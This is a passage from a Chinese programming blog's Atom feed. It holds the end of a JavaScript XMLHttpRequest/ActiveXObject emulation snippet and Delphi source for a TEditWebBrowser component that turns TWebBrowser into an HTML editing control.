conn.getHeaderField(i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (hdrName == null && hdrValue == null) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (hdrName != null) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._headers[this._headers.length] = {h:hdrName, v:hdrValue};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (hdrName.toLowerCase()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'content-encoding': gotContentEncoding = true; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'content-length'&nbsp; : gotContentLength&nbsp;&nbsp; = true; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'content-type'&nbsp;&nbsp;&nbsp; : gotContentType&nbsp;&nbsp;&nbsp;&nbsp; = true; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'date'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : gotDate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = true; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'expires'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : gotExpiration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = true; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'last-modified'&nbsp;&nbsp; : gotLastModified&nbsp;&nbsp;&nbsp; = true; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // try to fill in any missing header information<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var val;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = conn.getContentEncoding();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != null && !gotContentEncoding) this._headers[this._headers.length] = {h:'Content-encoding', v:val};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = conn.getContentLength();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != -1 && !gotContentLength) this._headers[this._headers.length] = {h:'Content-length', v:val};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = conn.getContentType();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != null && !gotContentType) this._headers[this._headers.length] = {h:'Content-type', v:val};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = conn.getDate();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != 0 && !gotDate) this._headers[this._headers.length] = {h:'Date', v:(new Date(val)).toUTCString()};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = conn.getExpiration();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != 0 && !gotExpiration) this._headers[this._headers.length] = {h:'Expires', v:(new Date(val)).toUTCString()};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; val = conn.getLastModified();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (val != 0 && !gotLastModified) this._headers[this._headers.length] = {h:'Last-modified', v:(new Date(val)).toUTCString()};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // read response data<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var reqdata = '';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var stream = conn.getInputStream();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (stream) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var reader = new java.io.BufferedReader(new java.io.InputStreamReader(stream, this._getCharset()));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var line;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while ((line = reader.readLine()) != null) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.readyState == 2) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.readyState = 3;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onreadystatechange) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onreadystatechange();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reqdata += line + '\n';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reader.close();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.status = 200;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.statusText = 'OK';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.responseText = reqdata;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.readyState = 4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onreadystatechange) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onreadystatechange();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onload) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onload();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // error<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.status = 404;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.statusText = 'Not Found';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.responseText = '';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.readyState = 4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onreadystatechange) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onreadystatechange();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.onerror) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.onerror();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp; };<BR>}<BR>// ActiveXObject emulation<BR>if (!window.ActiveXObject && window.XMLHttpRequest) {<BR>&nbsp; window.ActiveXObject = function(type) {<BR>&nbsp;&nbsp;&nbsp; switch (type.toLowerCase()) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'microsoft.xmlhttp':<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'msxml2.xmlhttp':<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'msxml2.xmlhttp.3.0':<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'msxml2.xmlhttp.4.0':<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 'msxml2.xmlhttp.5.0':<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return new XMLHttpRequest();<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; return null;<BR>&nbsp; };<BR>}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=196" /> 
	  <id>http://www.openx.cn/default.asp?id=196</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[TEditWebBrowser 组件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-17T15:51:09+08:00</updated>
	  <published>2006-01-17T15:51:09+08:00</published>
		  <summary type="html"><![CDATA[<P>继承TWebBrowser组件编写的组件：TEditWebBrowser，改写了原Mouse、Keyboard事件和OnEnter、OnExit事件。改写了TWebBrowser的焦点设置获取方法。<BR>超强的Edit功能，完全替代TRichEdit组件，可以更方便的插入图片和表格。</P>
<P>unit EditWebBrowser;<BR>//////////<BR>//&nbsp;&nbsp;&nbsp; 制作：xcoming<BR>//&nbsp;&nbsp;&nbsp; 版本：2005-8-30<BR>//&nbsp;&nbsp;&nbsp; 联系：<a href="http://www.openx.cn/mailto:xcoming@21cn.com">xcoming@21cn.com</A><BR>//////////<BR>interface</P>
<P>uses<BR>&nbsp; SysUtils, Classes, Controls, OleCtrls, SHDocVw,Consts,<BR>&nbsp; Messages,Forms,windows,ActiveX,typinfo,MSHTML;</P>
<P>const<BR>&nbsp; IID_IOleCommandTarget:TGUID='{B722BCCB-4E68-101B-A2BC-00AA00404770}';</P>
<P>type<BR>&nbsp; TMouseDownEvent=procedure(Sender:Tobject;Button:TMouseButton;Shift:TShiftState;x,y:integer) of object;<BR>&nbsp; TMouseUpEvent=procedure(Sender:Tobject;Button:TMouseButton;Shift:TShiftState;x,y:integer) of object;<BR>&nbsp; TMouseMoveEvent=procedure(Sender:Tobject;Shift:TShiftState;x,y:integer) of object;<BR>&nbsp; TEnterEvent=procedure(Sender:Tobject) of object;<BR>&nbsp; TExitEvent=procedure(Sender:Tobject) of object;</P>
<P>&nbsp; TDblClickEvent=procedure(Sender:Tobject;Button:TMouseButton;Shift:TShiftState;x,y:integer) of object;</P>
<P>&nbsp; TKeyDownEvent=procedure(Sender:Tobject;Shift:TShiftState;Key:word) of object;<BR>&nbsp; TKeyUpEvent=procedure(Sender:Tobject;Shift:TShiftState;Key:word) of object;</P>
<P>&nbsp; TEditWebBrowser = class(TWebBrowser)<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; { Private declarations }<BR>&nbsp;&nbsp;&nbsp; FParentWinControl:TWinControl;<BR>&nbsp;&nbsp;&nbsp; FApplication:TApplication;<BR>&nbsp;&nbsp;&nbsp; FOnMouseDown:TMouseDownEvent;<BR>&nbsp;&nbsp;&nbsp; FOnMouseUp:TMouseUpEvent;<BR>&nbsp;&nbsp;&nbsp; FOnMouseMove:TMouseMoveEvent;<BR>&nbsp;&nbsp;&nbsp; FOnEnter:TEnterEvent;<BR>&nbsp;&nbsp;&nbsp; FOnExit:TExitEvent;<BR>&nbsp;&nbsp;&nbsp; FOnDblClick:TDblClickEvent;</P>
<P>&nbsp;&nbsp;&nbsp; FOnKeyDown:TKeyDownEvent;<BR>&nbsp;&nbsp;&nbsp; FOnKeyUp:TKeyUpEvent;</P>
<P>&nbsp;&nbsp;&nbsp; FFocused:boolean;<BR>&nbsp;&nbsp;&nbsp; FisShowSelfPopupMenu:boolean;<BR>&nbsp;&nbsp;&nbsp; FWantReturns:boolean;<BR>&nbsp;&nbsp;&nbsp; FVisible:boolean;</P>
<P>&nbsp;&nbsp;&nbsp; FShiftFoceed,FCtrlFoceed:boolean;<BR>&nbsp;&nbsp;&nbsp; FReadOnly:boolean;<BR>&nbsp;&nbsp;&nbsp; FScrollbar:boolean;</P>
<P>&nbsp;&nbsp;&nbsp; procedure OnMyMessage(var Msg:TMsg;var Handled:Boolean);<BR>&nbsp;&nbsp;&nbsp; function GetPoint(C:TComponent;p:TPoint):TPoint;</P>
<P>&nbsp;&nbsp;&nbsp; procedure DoMouseDown(Button:TMouseButton;Shift:TShiftState;x,y:integer);<BR>&nbsp;&nbsp;&nbsp; procedure DoMouseUp(Button:TMouseButton;Shift:TShiftState;x,y:integer);<BR>&nbsp;&nbsp;&nbsp; procedure DoMouseMove(Shift:TShiftState;x,y:integer);<BR>&nbsp;&nbsp;&nbsp; procedure DoDblClick(Button:TMouseButton;Shift:TShiftState;x,y:integer);</P>
<P>&nbsp;&nbsp;&nbsp; procedure DoKeyDown(Shift:TShiftState;Key:word);<BR>&nbsp;&nbsp;&nbsp; procedure DoKeyUp(Shift:TShiftState;Key:word);</P>
<P>&nbsp;&nbsp;&nbsp; function GetInnerHTML:string;<BR>&nbsp;&nbsp;&nbsp; function GetInnerText:string;<BR>&nbsp;&nbsp;&nbsp; procedure SetisShowSelfPopupMenu(v:boolean);<BR>&nbsp;&nbsp;&nbsp; procedure SetWantReturns(v:boolean);<BR>&nbsp;&nbsp;&nbsp; procedure SetReadOnly(v:boolean);</P>
<P>&nbsp;&nbsp;&nbsp; function GetScrollTop:integer;<BR>&nbsp;&nbsp;&nbsp; function GetScrollHeight:integer;<BR>&nbsp;&nbsp;&nbsp; function GetScrollLeft:integer;<BR>&nbsp;&nbsp;&nbsp; function GetScrollWidth:integer;<BR>&nbsp;&nbsp;&nbsp; function GetDocument:IHTMLDocument2;<BR>&nbsp;&nbsp;&nbsp; function GetWindow:IHTMLWindow2;<BR>&nbsp;&nbsp;&nbsp; function GetDocCMD:IOleCommandTarget;</P>
<P>&nbsp;&nbsp;&nbsp; procedure SetScrollbar(v:boolean);<BR>&nbsp;&nbsp;&nbsp; function GetSelText():string;<BR>&nbsp;&nbsp;&nbsp; procedure SetSelText(s:string);<BR>&nbsp;&nbsp;&nbsp; function GetSelHTML():string;<BR>&nbsp;&nbsp;&nbsp; procedure SetSelHTML(s:string);</P>
<P>&nbsp;&nbsp;&nbsp; procedure SetVisible(v:boolean);</P>
<P>&nbsp;&nbsp;&nbsp; procedure DoEnter;<BR>&nbsp;&nbsp;&nbsp; procedure DoExit;<BR>&nbsp; protected</P>
<P>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; { Public declarations }<BR>&nbsp;&nbsp;&nbsp; constructor Create(Owner:TComponent);override;<BR>&nbsp;&nbsp;&nbsp; destructor Destroy;override;<BR>&nbsp;&nbsp;&nbsp; property Focused:boolean read FFocused;<BR>&nbsp;&nbsp;&nbsp; property InnerHTML:String read GetInnerHTML;<BR>&nbsp;&nbsp;&nbsp; property InnerText:String read GetInnerText;<BR>&nbsp;&nbsp;&nbsp; property ScrollTop:integer read GetScrollTop;<BR>&nbsp;&nbsp;&nbsp; property ScrollHeight:integer read GetScrollHeight;<BR>&nbsp;&nbsp;&nbsp; property ScrollLeft:integer read GetScrollLeft;<BR>&nbsp;&nbsp;&nbsp; property ScrollWidth:integer read GetScrollWidth;<BR>&nbsp;&nbsp;&nbsp; property Doc:IHTMLDocument2 read GetDocument;<BR>&nbsp;&nbsp;&nbsp; property Win:IHTMLWindow2 read GetWindow;<BR>&nbsp;&nbsp;&nbsp; property DocCMD:IOleCommandTarget read GetDocCMD;<BR>&nbsp;&nbsp;&nbsp; property Scrollbar:boolean read FScrollbar write SetScrollbar;<BR>&nbsp;&nbsp;&nbsp; property SelText:string read GetSelText write SetSelText;<BR>&nbsp;&nbsp;&nbsp; property SelHTML:string read GetSelHTML write SetSelHTML;</P>
<P>&nbsp;&nbsp;&nbsp; procedure SetFocus;<BR>&nbsp;&nbsp;&nbsp; procedure WriteHTML(HTML:string);<BR>&nbsp;&nbsp;&nbsp; procedure AppendHTML(HTML:string);<BR>&nbsp;&nbsp;&nbsp; procedure Clear;<BR>&nbsp;&nbsp;&nbsp; procedure Print(isPrintView:boolean=true);<BR>&nbsp;&nbsp;&nbsp; procedure PrintPageSetup;<BR>&nbsp;&nbsp;&nbsp; procedure Copy;<BR>&nbsp;&nbsp;&nbsp; procedure Cut;<BR>&nbsp;&nbsp;&nbsp; procedure Paste;<BR>&nbsp;&nbsp;&nbsp; procedure SelectAll;<BR>&nbsp;&nbsp;&nbsp; procedure SaveAs(FileName:string='blank.htm');<BR>&nbsp;&nbsp;&nbsp; procedure ScrollTo(x,y:integer);<BR>&nbsp;&nbsp;&nbsp; procedure SetMargin(top,bottom,left,right:integer);</P>
<P>&nbsp;&nbsp;&nbsp; procedure SetSelection(Start,Length:integer);<BR>&nbsp; published<BR>&nbsp;&nbsp;&nbsp; { Published declarations }<BR>&nbsp;&nbsp;&nbsp; property OnMouseDown:TMouseDownEvent read FOnMouseDown write FOnMouseDown;<BR>&nbsp;&nbsp;&nbsp; property OnMouseUp:TMouseUpEvent read FOnMouseUp write FOnMouseUp;<BR>&nbsp;&nbsp;&nbsp; property OnMouseMove:TMouseMoveEvent read FOnMouseMove write FOnMouseMove;<BR>&nbsp;&nbsp;&nbsp; property OnEnter:TEnterEvent read FOnEnter write FOnEnter;<BR>&nbsp;&nbsp;&nbsp; property OnExit:TExitEvent read FOnExit write FOnExit;<BR>&nbsp;&nbsp;&nbsp; property OnDblClick:TDblClickEvent read FOnDblClick write FOnDblClick;</P>
<P>&nbsp;&nbsp;&nbsp; property OnKeyUp:TKeyUpEvent read FOnKeyUp write FOnKeyUp;<BR>&nbsp;&nbsp;&nbsp; property OnKeyDown:TKeyDownEvent read FOnKeyDown write FOnKeyDown;<BR>&nbsp;&nbsp;&nbsp; property isShowSelfPopupMenu:boolean read FisShowSelfPopupMenu write SetisShowSelfPopupMenu;<BR>&nbsp;&nbsp;&nbsp; property WantReturns:boolean read FWantReturns write SetWantReturns;<BR>&nbsp;&nbsp;&nbsp; property ReadOnly:boolean read FReadOnly write SetReadOnly;<BR>&nbsp;&nbsp;&nbsp; property Visible:boolean read FVisible write SetVisible;</P>
<P>&nbsp; end;</P>
<P>procedure Register;</P>
<P>implementation</P>
<P>type TEditWebBrowsers=class(TComponent)<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; constructor Create(AOwner: TComponent); override;<BR>&nbsp;&nbsp;&nbsp; destructor Destroy;override;<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; EditWebBrowsers:array of TEditWebBrowser;<BR>&nbsp;&nbsp;&nbsp; procedure OnMyMessage(var Msg:TMsg;var Handled:Boolean);<BR>end;</P>
<P>var EditWebBrowsers:TEditWebBrowsers=nil;</P>
<P>procedure TEditWebBrowsers.OnMyMessage(var Msg:TMsg;var Handled:Boolean);<BR>var i:integer;<BR>begin<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; for i:=0 to length(self.EditWebBrowsers) - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.EditWebBrowsers[i]&lt;&gt;nil then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not self.EditWebBrowsers[i].OleObject.document.hasfocus then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.EditWebBrowsers[i].FFocused then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.EditWebBrowsers[i].DoExit; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; except end;<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; for i:=0 to length(self.EditWebBrowsers) - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.EditWebBrowsers[i]&lt;&gt;nil then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.EditWebBrowsers[i].OleObject.document.hasfocus then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not self.EditWebBrowsers[i].FFocused then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; self.EditWebBrowsers[i].DoEnter; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; except end; <BR>&nbsp;try<BR>&nbsp;&nbsp; for i:=0 to length(self.EditWebBrowsers) - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if self.EditWebBrowsers[i]&lt;&gt;nil then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try self.EditWebBrowsers[i].OnMyMessage(Msg,Handled); except end;<BR>&nbsp; except end;<BR>end;</P>
<P>constructor TEditWebBrowsers.Create(AOwner:TComponent);<BR>begin<BR>&nbsp; inherited Create(AOwner);<BR>&nbsp; Application.OnMessage:=OnMyMessage;<BR>end;</P>
<P>destructor TEditWebBrowsers.Destroy;<BR>begin<BR>&nbsp; Application.OnMessage:=nil;<BR>end;</P>
<P>constructor TEditWebBrowser.Create(Owner:TComponent);<BR>var i:integer; flag:boolean;<BR>begin<BR>&nbsp; inherited Create(Owner);<BR>&nbsp; if not Assigned(self.Document) then self.Navigate('about:blank');<BR>&nbsp; self.SetReadOnly(false);<BR>&nbsp; FisShowSelfPopupMenu:=true;<BR>&nbsp; self.SetWantReturns(true);<BR>&nbsp; self.SetisShowSelfPopupMenu(false);<BR>&nbsp; self.FScrollbar:=true;<BR>&nbsp; self.FFocused:=false;<BR>&nbsp; self.FVisible:=true;<BR>&nbsp; flag:=false;<BR>&nbsp; try<BR>&nbsp;&nbsp; for i:=0 to length(EditWebBrowsers.EditWebBrowsers)-1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp; if EditWebBrowsers.EditWebBrowsers[i]=nil then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EditWebBrowsers.EditWebBrowsers[i]:=self;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; flag:=true;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; except end;<BR>&nbsp; if not flag then begin<BR>&nbsp;&nbsp;&nbsp; setLength(EditWebBrowsers.EditWebBrowsers<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ,length(EditWebBrowsers.EditWebBrowsers)+1);<BR>&nbsp;&nbsp;&nbsp; EditWebBrowsers.EditWebBrowsers<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [length(EditWebBrowsers.EditWebBrowsers)-1]:=self;<BR>&nbsp; end;<BR>end;</P>
<P>procedure TEditWebBrowser.DoEnter;<BR>begin <BR>&nbsp; self.FFocused:=true;<BR>&nbsp; TWinControl(self).SetFocus;<BR>&nbsp; if self.Win&lt;&gt;nil then self.Win.focus;<BR>&nbsp; if Assigned(FOnEnter) then FOnEnter(self);<BR>end;</P>
<P>procedure TEditWebBrowser.DoExit;<BR>begin<BR>&nbsp; self.FFocused:=false;<BR>&nbsp; if self.OleObject.document.hasfocus then<BR>&nbsp;&nbsp;&nbsp; if self.Win&lt;&gt;nil then self.Win.blur;<BR>&nbsp; if Assigned(FOnExit) then FOnExit(self);<BR>end;</P>
<P>function TEditWebBrowser.GetDocument:IHTMLDocument2;<BR>begin<BR>&nbsp; result:=self.Document as IHTMLDocument2;<BR>end;</P>
<P>function TEditWebBrowser.GetWindow:IHTMLWindow2;<BR>var W:IHTMLWindow2;<BR>begin<BR>&nbsp; repeat W:=self.Doc.parentWindow;<BR>&nbsp; until W&lt;&gt;nil;&nbsp;&nbsp;&nbsp;&nbsp; result:=W;<BR>end;</P>
<P>function TEditWebBrowser.GetDocCMD:IOleCommandTarget;<BR>var DCMD:IOleCommandTarget;<BR>begin<BR>&nbsp; repeat self.Doc.QueryInterface(IOleCommandTarget,DCMD);<BR>&nbsp; until DCMD&lt;&gt;nil;<BR>&nbsp; result:=DCMD;<BR>end;</P>
<P>procedure TEditWebBrowser.SetReadOnly(v:boolean);<BR>begin<BR>&nbsp; self.FReadOnly:=v;<BR>&nbsp; if self.FReadOnly then<BR>&nbsp;&nbsp;&nbsp; self.Doc.designMode:='off'<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; self.Doc.designMode:='on';<BR>end;</P>
<P>procedure TEditWebBrowser.SetMargin(top,bottom,left,right:integer);<BR>begin<BR>&nbsp; self.Doc.body.style.marginTop:=top;<BR>&nbsp; self.Doc.body.style.marginBottom:=bottom;<BR>&nbsp; self.Doc.body.style.marginLeft:=left;<BR>&nbsp; self.Doc.body.style.marginRight:=right;<BR>end;</P>
<P>procedure TEditWebBrowser.ScrollTo(x,y:integer);<BR>begin<BR>&nbsp; self.OleObject.document.parentwindow.scrollto(x,y);<BR>end;</P>
<P>function TEditWebBrowser.GetScrollTop:integer;<BR>begin<BR>&nbsp; result:=self.OleObject.document.body.scrollTop;<BR>end;</P>
<P>function TEditWebBrowser.GetScrollHeight:integer;<BR>begin<BR>&nbsp; result:=self.OleObject.document.body.scrollHeight;<BR>end;</P>
<P>function TEditWebBrowser.GetScrollLeft:integer;<BR>begin<BR>&nbsp; result:=self.OleObject.document.body.scrollLeft;<BR>end;</P>
<P>function TEditWebBrowser.GetScrollWidth:integer;<BR>begin<BR>&nbsp; result:=self.OleObject.document.body.scrollWidth;<BR>end;</P>
<P>destructor TEditWebBrowser.Destroy;<BR>var i:integer;<BR>begin<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; for i:=0 to length(EditWebBrowsers.EditWebBrowsers)-1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if EditWebBrowsers.EditWebBrowsers[i]=self then begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EditWebBrowsers.EditWebBrowsers[i]:=nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; except end;<BR>&nbsp; inherited Destroy;<BR>end;</P>
<P>function TEditWebBrowser.GetInnerHTML:string;<BR>begin<BR>&nbsp; result:=self.OleObject.document.All.item.innerhtml;<BR>end;</P>
<P>function TEditWebBrowser.GetInnerText:string;<BR>begin<BR>&nbsp; result:=self.OleObject.document.All.item.innerText;<BR>end;</P>
<P>procedure TEditWebBrowser.WriteHTML(HTML:string);<BR>begin<BR>&nbsp; self.OleObject.document.close();<BR>&nbsp; self.OleObject.document.clear();<BR>&nbsp; self.OleObject.document.write(HTML);<BR>end;</P>
<P>procedure TEditWebBrowser.Clear;<BR>begin<BR>&nbsp; self.OleObject.document.close();<BR>&nbsp; self.OleObject.document.clear();<BR>&nbsp; //本方法不能真正清除文档，最好是用：WriteHtml(' ')清除<BR>end;</P>
<P>procedure TEditWebBrowser.SetScrollbar(v:boolean);<BR>begin<BR>&nbsp; self.FScrollbar:=v;<BR>&nbsp; if v then self.Doc.body.style.overflow:='scroll'<BR>&nbsp; else self.Doc.body.style.overflow:='hidden'<BR>end;</P>
<P>procedure TEditWebBrowser.AppendHTML(HTML:string);<BR>begin<BR>&nbsp; self.OleObject.document.write(HTML);<BR>end;</P>
<P>procedure TEditWebBrowser.SetFocus;<BR>begin<BR>&nbsp; {注：设定某一个TEditWebBrowser的焦点时，如果当前的焦点正在另<BR>&nbsp; 一个TEditWebBrowser上，则此时最好先使有焦点的TEditWebBrowser控件<BR>&nbsp; 失去焦点。例如：<BR>&nbsp;&nbsp;&nbsp; EW1有焦点，要通过程序设置EW2的焦点，应该这样：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EW1.Win.blur;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EW2.SetFocus;<BR>&nbsp; }<BR>&nbsp; self.Win.focus;<BR>end;</P>
